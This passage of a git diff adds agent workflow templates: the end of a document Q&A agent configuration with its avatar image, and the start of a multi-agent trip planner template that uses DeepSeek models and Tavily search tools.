with general knowledge\n\n- Suggest alternative questions that might be covered in the docs\n\n- Use phrases like: \"The documentation does not cover...\" or \"This information is not available in the knowledge base.\"\n\n# Response Format\n\n```markdown\n\n## Answer\n\n[Your response based strictly on knowledge base content]\n\n**Always do these:**\n\n- Use the Retrieval tool for every question\n\n- Be transparent about information availability\n\n- Stick to documented facts only\n\n- Acknowledge knowledge base limitations\n\n",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Retrieval",
+ "name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "description": "This is a technical docs knowledge bases.",
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Docs QA Agent"
+ },
+ "dragging": false,
+ "id": "Agent:StalePandasDream",
+ "measured": {
+ "height": 87,
+ "width": 200
+ },
+ "position": {
+ "x": 351.5,
+ "y": 231
+ },
+ "selected": true,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:StalePandasDream@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Message_0"
+ },
+ "dragging": false,
+ "id": "Message:BrownPugsStick",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 671.5,
+ "y": 192.5
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_0"
+ },
+ "dragging": false,
+ "id": "Tool:PrettyMasksFloat",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 234.5,
+ "y": 370.5
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This is a document question-and-answer system based on a knowledge base. When a user asks a question, it retrieves relevant document content to provide accurate answers.\nProcess Steps\n\n#Begin\n\nWorkflow entry: Receive user questions\n\nDocs QA Agent\n\nAI Model: deepseek-chat\n\nFunction: Analyze user questions and understand query intent\n\nRetrieval\n\nFunction: Search for relevant information from connected document knowledge bases\n\nFeature: Ensures answers are based on actual document content\n\nMessage_0 (Output Response)\n\nReturns accurate answers to the user based on the knowledge base\n\n#Core Features\n\nAccuracy: Answers are strictly based on knowledge base content\n\nReliability: Avoid AI illusions and only provide information that is verifiable\n\nSimplicity: Linear process with fast response\n\n#Applicable Scenarios\n\nProduct Documentation Query\n\nTechnical Support Q&A\n\nInternal Enterprise Knowledge Base Search\n\nUser Manual Consultation"
+ },
+ "label": "Note",
+ "name": "Workflow Overall Description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 154,
+ "id": "Note:SwiftSuitsFlow",
+ "measured": {
+ "height": 154,
+ "width": 374
+ },
+ "position": {
+ "x": 349.65276636527506,
+ "y": 28.869446726944993
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 374
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,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"
+}
+
diff --git a/agent/templates/trip_planner.json b/agent/templates/trip_planner.json
new file mode 100644
index 0000000..9749a84
--- /dev/null
+++ b/agent/templates/trip_planner.json
@@ -0,0 +1,689 @@
+
+{
+ "id": 14,
+ "title": {
+ "en": "Trip Planner",
+ "zh": "旅行规划"},
+ "description": {
+ "en": "This smart trip planner utilizes LLM technology to automatically generate customized travel itineraries, with optional tool integration for enhanced reliability.",
+ "zh": "智能旅行规划将利用大模型自动生成定制化的旅行行程,附带可选工具集成,以增强可靠性。"},
+ "canvas_type": "Consumer App",
+ "dsl": {
+ "components": {
+ "Agent:OddGuestsPump": {
+ "downstream": [
+ "Agent:RichTermsCamp"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query:\n{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "Role: Professional tour guide: Create detailed travel plans per user needs.\nFirst, specify departure location, destination, and travel duration (for subsequent agents to retrieve).\nDevelop the plan using tools to get real-time weather, holidays, attraction hours, traffic, etc. Adjust itinerary accordingly (e.g., reschedule outdoor activities on rainy days) to ensure practicality, efficiency, and alignment with user preferences.\nFor real-time info retrieval, only output tool-returned content and pass it to subsequent agents; never rely on your own knowledge base.\n",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Agent:RichTermsCamp": {
+ "downstream": [
+ "Agent:WeakCarrotsTan"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query:\n{sys.query}\n\nFirst step result:\n{Agent:OddGuestsPump@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Transit & Stay Agent, collaborating with upstream planners.\n\n Use tools to retrieve real-time info for transportation (flights, trains, rentals, etc.) and accommodation (hotels, rentals, etc.) based on the itinerary. Recommend options matching dates, destinations, budgets, and preferences, adjusting for availability or conflicts to align with the overall plan.",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ },
+ {
+ "component_name": "TavilyExtract",
+ "name": "TavilyExtract",
+ "params": {
+ "api_key": ""
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Agent:OddGuestsPump"
+ ]
+ },
+ "Agent:WeakCarrotsTan": {
+ "downstream": [
+ "Message:ThickEyesUnite"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query:\n{sys.query}\n\nTravel plan:\n{Agent:OddGuestsPump@content}\n\nTransit & Stay plan:\n{Agent:RichTermsCamp@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Result Generator. \nYour task is to produce accurate and reliable travel plans based on integrated information from upstream agents and tool-retrieved data. Ensure the final plan is logically structured, time-efficient, and consistent with all verified details—including clear timelines, confirmed transportation/accommodation arrangements, and practical activity adjustments . Prioritize clarity and feasibility to help users execute the plan smoothly.",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Agent:RichTermsCamp"
+ ]
+ },
+ "Message:ThickEyesUnite": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:WeakCarrotsTan@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:WeakCarrotsTan"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:OddGuestsPump"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I’m here to help plan your trip. Any destination in mind?"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:OddGuestsPumpend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:OddGuestsPump",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:OddGuestsPumpstart-Agent:RichTermsCampend",
+ "source": "Agent:OddGuestsPump",
+ "sourceHandle": "start",
+ "target": "Agent:RichTermsCamp",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:RichTermsCampstart-Agent:WeakCarrotsTanend",
+ "source": "Agent:RichTermsCamp",
+ "sourceHandle": "start",
+ "target": "Agent:WeakCarrotsTan",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:WeakCarrotsTanstart-Message:ThickEyesUniteend",
+ "source": "Agent:WeakCarrotsTan",
+ "sourceHandle": "start",
+ "target": "Message:ThickEyesUnite",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:RichTermsCamptool-Tool:BreezyStreetsHuntend",
+ "source": "Agent:RichTermsCamp",
+ "sourceHandle": "tool",
+ "target": "Tool:BreezyStreetsHunt",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I’m here to help plan your trip. Any destination in mind?"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "dragging": false,
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 333.3224354104293,
+ "y": -31.71751112667888
+ },
+ "selected": false,
